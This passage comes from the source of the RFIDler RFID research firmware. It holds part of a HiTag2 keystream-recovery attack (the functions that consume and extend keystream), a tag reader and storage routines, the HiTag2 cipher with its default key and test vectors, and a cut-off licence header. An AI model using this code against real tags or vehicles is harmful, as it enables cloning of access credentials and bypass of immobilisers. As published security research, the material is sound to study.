UserMessage(\"hitag2crack_send_auth:\\r\\n tx/rx nrar failed\\r\\n\");\n        return FALSE;\n    }\n    return TRUE;\n}\n\n// hitag2crack_consume_keystream sends an extended command (up to 510 bits in\n// length) to consume keystream.\n// keybits is the binarray of keystream bits;\n// kslen is the length of keystream;\n// ksoffset is a pointer to the current keystream offset (updated by this fn);\n// nrar is the 64 bit binarray of the nR aR pair.\nBOOL hitag2crack_consume_keystream(BYTE *keybits, int kslen, int *ksoffset, BYTE *nrar)\n{\n    int conlen;\n    int numcmds;\n    int i;\n    BYTE ext_cmd[510];\n    BYTE e_ext_cmd[510];\n    BYTE responsestr[9];\n\n    // calculate the length of keybits to consume with the extended command.\n    // 42 = 32 bit response + 10 bit command reserved for next command.  conlen\n    // cannot be longer than 510 bits to fit into the small RWD buffer.\n    conlen = kslen - *ksoffset - 42;\n    if (conlen < 10)\n    {\n        UserMessage(\"hitag2crack_consume_keystream:\\r\\n conlen < 10\\r\\n\");\n        return FALSE;\n    }\n    \n    // sanitise conlen\n    if (conlen > 510)\n    {\n        conlen = 510;\n    }\n    \n    // calculate how many repeated commands to send in this extended command.\n    numcmds = conlen / 10;\n    \n    // build extended command\n    for (i=0; i<numcmds; i++)\n    {\n        binstringtobinarray(ext_cmd + (i * 10), READP0CMD);\n    }\n\n    // xor extended cmd with keybits\n    hitag2crack_xor(e_ext_cmd, ext_cmd, keybits + *ksoffset, numcmds * 10);\n    \n    // send encrypted command\n    if (!hitag2crack_tx_rx(responsestr, e_ext_cmd, numcmds * 10, RWD_STATE_WAKING, FALSE))\n    {\n        UserMessage(\"hitag2crack_consume_keystream:\\r\\n tx/rx cmd failed\\r\\n\");\n        return FALSE;\n    }\n    \n    // test response\n    if (strcmp(responsestr, ERROR_RESPONSE) == 0)\n    {\n        UserMessage(\"hitag2crack_consume_keystream:\\r\\n got error response from card\\r\\n\");\n        return FALSE;\n    }\n    \n    // dont bother decrypting the response - we already know the keybits\n    \n    // update ksoffset with command length and response\n    *ksoffset += (numcmds * 10) + 32;\n}\n\n// hitag2crack_extend_keystream sends an extended command to retrieve more keybits.\n// keybits is the binarray of the keystream bits;\n// kslen is a pointer to the current keybits length;\n// ksoffset is the offset into the keybits array;\n// nrar is the 64 bit binarray of the nR aR pair;\n// uid is the 32 bit binarray of the UID.\nBOOL hitag2crack_extend_keystream(BYTE *keybits, int *kslen, int ksoffset, BYTE *nrar, BYTE *uid)\n{\n    int cmdlen;\n    int numcmds;\n    BYTE ext_cmd[510];\n    BYTE e_ext_cmd[510];\n    BYTE responsestr[9];\n    BYTE e_response[32];\n    int i;\n    \n    // calc number of command iterations to send\n    cmdlen = *kslen - ksoffset;\n    if (cmdlen < 10)\n    {\n        UserMessage(\"hitag2crack_extend_keystream:\\r\\n cmdlen < 10\\r\\n\");\n        return FALSE;\n    }\n    \n    numcmds = cmdlen / 10;\n       \n    // build extended command\n    for (i=0; i<numcmds; i++)\n    {\n        binstringtobinarray(ext_cmd + (i * 10), READP0CMD);\n    }\n    \n    // xor extended cmd with keybits\n    hitag2crack_xor(e_ext_cmd, ext_cmd, keybits + ksoffset, numcmds * 10);\n    \n    // send extended encrypted cmd\n    if (!hitag2crack_tx_rx(responsestr, e_ext_cmd, numcmds * 10, RWD_STATE_WAKING, FALSE))\n    {\n        UserMessage(\"hitag2crack_extend_keystream:\\r\\n tx/rx cmd failed\\r\\n\");\n        return FALSE;\n    }\n    \n    // test response\n    if (strcmp(responsestr, ERROR_RESPONSE) == 0)\n    {\n        UserMessage(\"hitag2crack_extend_keystream:\\r\\n got error response from card\\r\\n\");\n        return FALSE;\n    }\n\n    // convert response to binarray\n    hextobinarray(e_response, responsestr);\n\n    // recover keystream from encrypted response\n    hitag2crack_xor(keybits + ksoffset + (numcmds * 10), e_response, uid, 32);\n\n    // update kslen\n    *kslen = ksoffset + (numcmds * 10) + 32;\n    \n    return TRUE;\n\n}\n\nBOOL hitag2_reader(BYTE *response, BYTE *key, BOOL interactive)\n{\n    BYTE tmp[9];\n    int i;\n    \n    response[0] = '\\0';\n    // auth to tag\n    if (hitag2_crypto_auth(tmp, key))\n    {\n        // read tag, one page at a time\n        for (i= 0; i <= 7; ++i)\n        {\n            if(!read_tag(tmp, i, i))\n            {\n                // if read fails, it could be because of auth,\n                // so try to reauth\n                if (!hitag2_crypto_auth(tmp, key))\n                {\n                    // if we can't reauth, it's a real failure\n                    return FALSE;\n                }\n                // temp failure (probably due to page protections)\n                strcpy(tmp, \"XXXXXXXX\");               \n            }\n            // page contents are in tmp\n            strcat(response, tmp);\n        }    \n\n        if (interactive)\n            {\n                tmp[8]= '\\0';\n                for(i= 0; i <= 7 ; ++i)\n                {\n                    UserMessageNum(\"%d: \", i);\n                    memcpy(tmp, response + (i * 8), 8);\n                    UserMessage(\"%s\\r\\n\", tmp);\n                }\n                UserMessage(\"%s\", \"\\r\\n\");\n            }\n            else\n            {\n                hitag2_nvm_store_tag(response);\n            }\n            return TRUE;\n    }\n    else\n    {\n        return FALSE;\n    }\n}\n\nvoid hitag2_nvm_clear()\n{\n    uint32_t count = 0;\n    NVMProgram((void *) HITAG2_NVM_ADDRESS, (const void *) &count, sizeof(uint32_t), (void*) TmpBuff);\n}\n\nBOOL hitag2_nvm_store_tag(BYTE *tag)\n{\n    uint32_t count;\n    BYTE *entry;\n    \n    memcpy(&count, (void *)HITAG2_NVM_ADDRESS, 4);\n    \n//    UserMessage(\"current count: %d\\r\\n\", count);\n    \n    if (count >= HITAG2_NVM_MAX)\n    {\n        return FALSE;\n    }\n        \n    entry = hitag2_nvm_find_tag(tag);\n    \n    if (entry)\n    {\n        // UID already exists\n        return TRUE;\n    }\n    \n    // store tag\n    entry = (BYTE *)HITAG2_NVM_DATA + (64 * count);\n    NVMProgram((void *) entry, (const void *) tag, 64, (void*) TmpBuff);\n    \n    // update count\n    count++;\n    NVMProgram((void *) HITAG2_NVM_ADDRESS, (const void *) &count, sizeof(uint32_t), (void*) TmpBuff);\n    return TRUE;\n    \n}\n\nBYTE *hitag2_nvm_find_tag(BYTE *tag)\n{\n    BYTE *entry = NULL;\n    uint32_t index = 0;\n    uint32_t count;\n    \n    memcpy(&count, (void *)HITAG2_NVM_ADDRESS, 4);\n    \n    if (count > HITAG2_NVM_MAX)\n    {\n        UserMessage(\"hitag2_find_tag: count is invalid\\r\\n\");\n        return NULL;\n    }\n    \n    // loop over entries\n    for (index=0, entry=(BYTE *)HITAG2_NVM_DATA; index<count; index++, entry += 64)\n    {\n        // see if this entry matches tag\n        if (memcmp(tag, entry, 64) == 0)\n        {\n            return entry;\n        }\n    }\n    \n    // not found\n    return FALSE;\n}\n\nBOOL hitag2_nvm_count_tags()\n{\n    uint32_t count;\n    \n    memcpy(&count, (void *)HITAG2_NVM_ADDRESS, 4);\n    \n    UserMessage(\"\\r\\n\");\n    \n    if (count > HITAG2_NVM_MAX)\n    {\n        UserMessage(\"Invalid NVM counter\\r\\n\");\n        return FALSE;\n    }\n    \n    UserMessage(\"%d tags stored\\r\\n\", count);\n    return TRUE;\n}\n\nBOOL hitag2_nvm_display_tags(uint32_t start, uint32_t end)\n{\n    uint32_t count;\n    uint32_t index;\n    int i;\n    BYTE tmp[9];\n    \n    memcpy(&count, (void *)HITAG2_NVM_ADDRESS, 4);\n    \n    UserMessage(\"\\r\\n\");\n    \n    if (count == 0)\n    {\n        UserMessage(\"No HiTag2 tags stored\\r\\n\");\n        return TRUE;\n    }\n    \n    if (!start)\n    {\n        start = 1;\n        end = count;\n    }\n    \n    if ((count > HITAG2_NVM_MAX) || (start > count) || (end < start) || (end > count))\n    {\n        UserMessage(\"Invalid tag selection\\r\\n\");\n        return FALSE;\n    }\n    \n    tmp[8] = 0x00;\n    for (index=start; index<=end; index++)\n    {\n        UserMessage(\"Tag number %d\\r\\n\", index);\n        for (i=0; i<8; i++)\n        {\n            UserMessage(\"%d: \", i);\n            memcpy(tmp, (BYTE *)HITAG2_NVM_DATA + ((index - 1) * 64) + (i * 8), 8);\n            UserMessage(\"%s\\r\\n\", tmp);\n        }\n        UserMessage(\"\\r\\n\");\n    }\n    \n    return TRUE;\n}"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/hitagcrypto.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2015 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: unknown.\n// Modifications for RFIDler: Tony Naggs <tony.naggs@gmail.com>, Adam Laurie <adam@aperturelabs.com>\n\n// uncomment this to build file as a standalone crypto test program\n// #define UNIT_TEST\n// also uncomment to include verbose debug prints\n// #define TEST_DEBUG\n\n//#include <GenericTypeDefs.h>\n#include \"HardwareProfile.h\"\n#include \"rfidler.h\"\n#include \"hitagcrypto.h\"\n#include \"util.h\"\n\n#ifdef UNIT_TEST\n#include <stdio.h>\n#endif\n\n#if defined(UNIT_TEST) && defined(TEST_DEBUG)\n// Note that printf format %I64x prints 64 bit ints in MS Visual C/C++.\n// This may need changing for other compilers/platforms.\n#define DEBUG_PRINTF(...) printf(__VA_ARGS__)\n#else\n#define DEBUG_PRINTF(...)\n#endif\n\n\n/* Brief info about NXP Hitag 1, Hitag 2, Hitag S and Hitag u (mu)\n\n   Hitag 125kHz RFID was created by a company called Mikron (Mikron Gesellschaft\n   fur Integrierte Mikroelektronik Mbh), of Austria, for micropayment applications.\n   At about the same time, late 1980s to early 1990s, Mikron developed the\n   similarly featured Mifare micropayment card for 13.56MHz RFID.\n   (Mikron's European Patent EP 0473569 A2 was filed 23 August 1991, with a\n   priority date of 23 Aug 1990.)\n   Mikron was subsequently acquired by Philips Semiconductors in 1995.\n   Philips Semiconductors divsion subsequently became NXP.\n\n   + Modulation read/write device -> transponder: 100 % ASK and binary pulse\n     length coding\n   + Modulation transponder -> read/write device: Strong ASK modulation,\n     selectable Manchester or Biphase coding\n   + Hitag S, Hitag u; anti-collision procedure\n   + Fast anti-collision protocol\n   + Hitag u; optional Cyclic Redundancy Check (CRC)\n   + Reader Talks First mode\n   + Hitag 2 & later; Transponder Talks First (TTF) mode\n   + Temporary switch from Transponder Talks First into Reader Talks First\n     (RTF) Mode\n   + Data rate read/write device to transponder: 5.2 kbit/s\n   + Data rates transponder to read/write device: 2 kbit/s, 4 kbit/s, 8 kbit/s\n   + 32-bit password feature\n   + Hitag 2, S = 32-bit Unique Identifier\n   + Hitag u = 48-bit Unique Identifier\n   + Selectable password modes for reader / tag mutual authentication\n     (Hitag 1 has 2 pairs of keys, later versions have 1 pair)\n   + Hitag 2 & Hitag S; Selectable encrypted mode, 48 bit key\n\n   Known tag types:\n\n   HITAG 1            2048 bits total memory\n\n   HITAG 2            256 Bit total memory        Read/Write\n                      8 pages of 32 bits, inc UID (32),\n\t\t      secret key (64), password (24), config (8)\n\n   HITAG S 32         32 bits Unique Identifier   Read Only\n   HITAG S 256        256 bits total memory       Read/Write\n   HITAG S 2048       2048 bits total memory      Read/Write\n\n   HITAG u RO64       64 bits total memory        Read Only\n   HITAG u            128 bits total memory       Read/Write\n   HITAG u Advanced   512 bits total memory       Read/Write\n   HITAG u Advanced+  1760 bits total memory      Read/Write\n\n   Default 48-bit key for Hitag 2, S encryption:\n       \"MIKRON\"       =  O  N  M  I  K  R\n       Key            = 4F 4E 4D 49 4B 52\n\n*/\n\n\n// We want the crypto functions to be as fast as possible, so optimize!\n// The best compiler optimization in Microchip's free XC32 edition is -O1\n#pragma GCC optimize(\"O1\")\n\n// private, nonlinear function to generate 1 crypto bit\nstatic uint32_t hitag2_crypt(uint64_t x);\n\n\n// macros to pick out 4 bits in various patterns of 1s & 2s & make a new number\n#define pickbits2_2(S, A, B)       ( ((S >> A) & 3) | ((S >> (B - 2)) & 0xC) )\n#define pickbits1x4(S, A, B, C, D) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \\\n                                   ((S >> (C - 2)) & 4) | ((S >> (D - 3)) & 8) )\n#define pickbits1_1_2(S, A, B, C)  ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \\\n                                   ((S >> (C - 2)) & 0xC) )\n#define pickbits2_1_1(S, A, B, C)  ( ((S >> A) & 3) | ((S >> (B - 2)) & 4) | \\\n                                   ((S >> (C - 3)) & 8) )\n#define pickbits1_2_1(S, A, B, C)  ( ((S >> A) & 1) | ((S >> (B - 1)) & 6) | \\\n                                   ((S >> (C - 3)) & 8) )\n\n\nstatic uint32_t hitag2_crypt(uint64_t s)\n{\n    const uint32_t ht2_function4a = 0x2C79;\t// 0010 1100 0111 1001\n    const uint32_t ht2_function4b = 0x6671;\t// 0110 0110 0111 0001\n    const uint32_t ht2_function5c = 0x7907287B;\t// 0111 1001 0000 0111 0010 1000 0111 1011\n    uint32_t bitindex;\n\n    bitindex =  (ht2_function4a >> pickbits2_2 (s, 1, 4)) & 1;\n    bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 7, 11, 13)) & 0x02;\n    bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 16, 20, 22, 25)) & 0x04;\n    bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 27, 30, 32)) & 0x08;\n    bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 33, 42, 45)) & 0x10;\n\n    DEBUG_PRINTF(\"hitag2_crypt bitindex = %02x\\n\", bitindex);\n    return (ht2_function5c >> bitindex) & 1;\n}\n\n/*\n * Parameters:\n * Hitag_State* pstate - output, internal state after initialisation\n * uint64_t sharedkey  - 48 bit key shared between reader & tag\n * uint32_t serialnum  - 32 bit tag serial number\n * uint32_t initvector - 32 bit random IV from reader, part of tag authentication\n */\nvoid hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector)\n{\n    // init state, from serial number and lowest 16 bits of shared key\n    uint64_t state = ((sharedkey & 0xFFFF) << 32) | serialnum;\n\n    // mix the initialisation vector and highest 32 bits of the shared key\n    initvector ^= (uint32_t) (sharedkey >> 16);\n\n    // move 16 bits from (IV xor Shared Key) to top of uint64_t state\n    // these will be XORed in turn with output of the crypto function\n    state |= (uint64_t) initvector << 48;\n    initvector >>= 16;\n\n    // unrolled loop is faster on PIC32 (MIPS), do 32 times\n    // shift register, then calc new bit\n    state >>= 1;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n\n    // highest 16 bits of IV XOR Shared Key\n    state |= (uint64_t) initvector << 47;\n\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state ^= (uint64_t) hitag2_crypt(state) << 47;\n\n    DEBUG_PRINTF(\"hitag2_init result = %012I64x\\n\", state);\n    pstate->shiftreg = state;\n    /* naive version for reference, LFSR has 16 taps\n    pstate->lfsr = state ^ (state >>  2) ^ (state >>  3) ^ (state >>  6)\n              ^ (state >>  7) ^ (state >>  8) ^ (state >> 16) ^ (state >> 22)\n              ^ (state >> 23) ^ (state >> 26) ^ (state >> 30) ^ (state >> 41)\n              ^ (state >> 42) ^ (state >> 43) ^ (state >> 46) ^ (state >> 47);\n    */\n    {\n        // optimise with one 64-bit intermediate\n        uint64_t temp = state ^ (state >> 1);\n        pstate->lfsr = state ^ (state >>  6) ^ (state >> 16)\n                  ^ (state >> 26) ^ (state >> 30) ^ (state >> 41)\n                  ^ (temp >>  2) ^ (temp >>  7) ^ (temp >> 22)\n                  ^ (temp >> 42) ^ (temp >> 46);\n    }\n}\n\n\n/*\n * Return up to 32 crypto bits.\n * Last bit is in least significant bit, earlier bits are shifted left.\n * Note that the Hitag transmission protocol is least significant bit,\n * so we may want to change this, or add a function, that returns the\n * crypto output bits in the other order.\n *\n * Parameters:\n * Hitag_State* pstate - in/out, internal cipher state after initialisation\n * uint32_t steps      - number of bits requested, (capped at 32)\n */\nuint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps)\n{\n    uint64_t state = pstate->shiftreg;\n    uint32_t result = 0;\n    uint64_t lfsr = pstate->lfsr;\n\n    if (steps == 0)\n        return 0;\n\n    if (steps > 32)\n        steps = 32;\n\n    do {\n        // update shift registers\n        if (lfsr & 1) {\n            state = (state >> 1) | 0x800000000000;\n            lfsr = (lfsr >> 1) ^ 0xB38083220073;\n\n            // accumulate next bit of crypto\n            result = (result << 1) | hitag2_crypt(state);\n        } else {\n            state >>= 1;\n            lfsr >>= 1;\n\n            result = (result << 1) | hitag2_crypt(state);\n        }\n    } while (--steps);\n\n    DEBUG_PRINTF(\"hitag2_nstep state = %012I64x, result %02x\\n\", state, result);\n    pstate->shiftreg = state;\n    pstate->lfsr = lfsr;\n    return result;\n}\n\n// end of crypto core, revert to default optimization level\n#pragma GCC reset_options\n\n\n/* Test code\n\n   Test data and below information about it comes from\n     http://www.mikrocontroller.net/attachment/102194/hitag2.c\n     Written by \"I.C. Wiener 2006-2007\"\n\n   \"MIKRON\"\t\t=  O  N  M  I  K  R\n    Key\t\t\t= 4F 4E 4D 49 4B 52\t\t- Secret 48-bit key\n    Serial\t\t= 49 43 57 69\t\t\t- Serial number of the tag, transmitted in clear\n    Random\t\t= 65 6E 45 72\t\t\t- Random IV, transmitted in clear\n    ~28~DC~80~31\t= D7 23 7F CE\t\t\t- Authenticator value = inverted first 4 bytes of the keystream\n\n   The code below must print out \"D7 23 7F CE 8C D0 37 A9 57 49 C1 E6 48 00 8A B6\".\n   The inverse of the first 4 bytes is sent to the tag to authenticate.\n   The rest is encrypted by XORing it with the subsequent keystream.\n\n*/\n\n\nunsigned int hitag2_benchtest_gen32()\n{\n    const uint64_t key = 0x4ad292b272f2;\n    const uint32_t serial = 0x96eac292;\n    const uint32_t initvec = 0x4ea276a6;\n    Hitag_State state;\n\n    // init crypto\n    hitag2_init(&state, key, serial, initvec);\n\n    // benchmark: generation of 32 bit stream (excludes initialisation)\n    GetTimer_us(RESET);\n\n    (void) hitag2_nstep(&state, 32);\n\n    return GetTimer_us(NO_RESET);\n}\n\n\nunsigned int hitag2_benchtest(uint32_t count)\n{\n    const uint64_t key = 0x4ad292b272f2;\n    const uint32_t serial = 0x96eac292;\n    const uint32_t initvec = 0x4ea276a6;\n    Hitag_State state;\n    uint32_t i;\n\n    // start timer\n    GetTimer_us(RESET);\n\n    // benchmark: initialise crypto & generate 32 bit authentication\n    // adding i stops gcc optimizer moving init function call out of loop\n    for (i = 0; i < count; i++) {\n        hitag2_init(&state, key, serial, initvec + i);\n        (void) hitag2_nstep(&state, 32);\n    }\n\n    return GetTimer_us(NO_RESET);\n}\n\n\nunsigned hitag2_verifytest()\n{\n    uint8_t expected[16] = { 0xD7, 0x23, 0x7F, 0xCE, 0x8C, 0xD0, 0x37, 0xA9, 0x57, 0x49, 0xC1, 0xE6, 0x48, 0x00, 0x8A, 0xB6 };\n    // key = 0x4ad292b272f2  after each byte has its bit order reversed\n    // serial = 0x96eac292    ditto\n    // initvec = 0x4ea276a6   ditto\n    const uint64_t key = rev64 (0x524B494D4E4FUL);\n    const uint32_t serial = rev32 (0x69574349);\n    const uint32_t initvec = rev32 (0x72456E65);\n    \n    uint32_t i;\n    Hitag_State state;\n\n    // initialise\n    hitag2_init(&state, key, serial, initvec);\n\n    for (i = 0; i < 16; i++) {\n        // get 8 bits of keystream\n        uint8_t x = (uint8_t) hitag2_nstep(&state, 8);\n        uint8_t y = expected[i];\n\n        DEBUG_PRINTF (\"%02X (%02X) \\n\", x, y);\n        if (x != y)\n            return 0;\n    }\n\n    return 1;\n}\n\n\n#ifdef UNIT_TEST\n\nint main(int argc, char* argv[])\n{\n    unsigned pass = hitag2_verifytest();\n\n    printf (\"Crypto Verify test = %s\\n\\n\", pass ? \"PASS\" : \"FAIL\");\n\n    if (pass) {\n        hitag2_benchtest(10000);\n    }\n\n    return 0;\n}\n\n#endif // UNIT_TEST\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/indala.c",
    "content": "/***************************************************************************\r\n * A copy of the GNU GPL is appended to this file.                         *\r\n *                                                                         *\r\n * This licence is based on the nmap licence, and we express our gratitude *\r\n * for the work that went into producing it. There is no other connection  *\r\n * between RFIDler and nmap either expressed or implied.                   *\r\n *                                                                         *\r\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\r\n *                                                                         *\r\n *                                                                         *\r\n * All references to RFIDler herein imply all it's derivatives, namely:    *\r\n *                                                                         *\r\n * o RFIDler-LF Standard                                                   *\r\n * o RFIDler-LF Lite                                                       *\r\n * o RFIDler-LF Nekkid                                                     *\r\n *                                                                         *\r\n *                                                                         *\r\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\r\n *                                                                         *\r\n * This program is free software; you may redistribute and/or modify it    *\r\n * under the terms of the GNU General Public License as published by the   *\r\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\r\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\r\n * right to use, modify, and redistribute this software under certain      *\r\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\r\n * software or hardware, we sell alternative licenses                      *\r\n * (contact sales@aperturelabs.com).                                       *\r\n *                                                                         *\r\n * Note that the GPL places important restrictions on \"derivative works\",  *\r\n * yet it does not provide a detailed definition of that term.  To avoid   *\r\n * misunderstandings, we interpret that term as broadly as copyright law   *\r\n * allows.  For example, we consider an application to constitute a        *\r\n * derivative work for the purpose of this license if it does any of the   *\r\n * following with any software or content covered by this license          *\r\n * (\"Covered Software\"):                                                   *\r\n *                                                                         *\r\n * o Integrates source code from Covered Software.                         *\r\n *                                                                         *\r\n * o Is designed specifically to execute Covered Software and parse the    *\r\n * results (as opposed to typical shell or execution-menu apps, which will *\r\n * execute anything you tell them to).                                     *\r\n *                                                                         *\r\n * o Includes Covered Software in a proprietary executable installer.  The *\r\n * installers produced by InstallShield are an example of this.  Including *\r\n * RFIDler with other software in compressed or archival form does not     *\r\n * trigger this provision, provided appropriate open source decompression  *\r\n * or de-archiving software is widely available for no charge.  For the    *\r\n * purposes of this license, an installer is considered to include Covered *\r\n * Software even if it actually retrieves a copy of Covered Software from  *\r\n * another source during runtime (such as by downloading it from the       *\r\n * Internet).                                                              *\r\n *                                                                         *\r\n * o Links (statically or dynamically) to a library which does any of the  *\r\n * above.                                                                  *\r\n *                                                                         *\r\n * o Executes a helper program, module, or script to do any of the above.  *\r\n *                                                            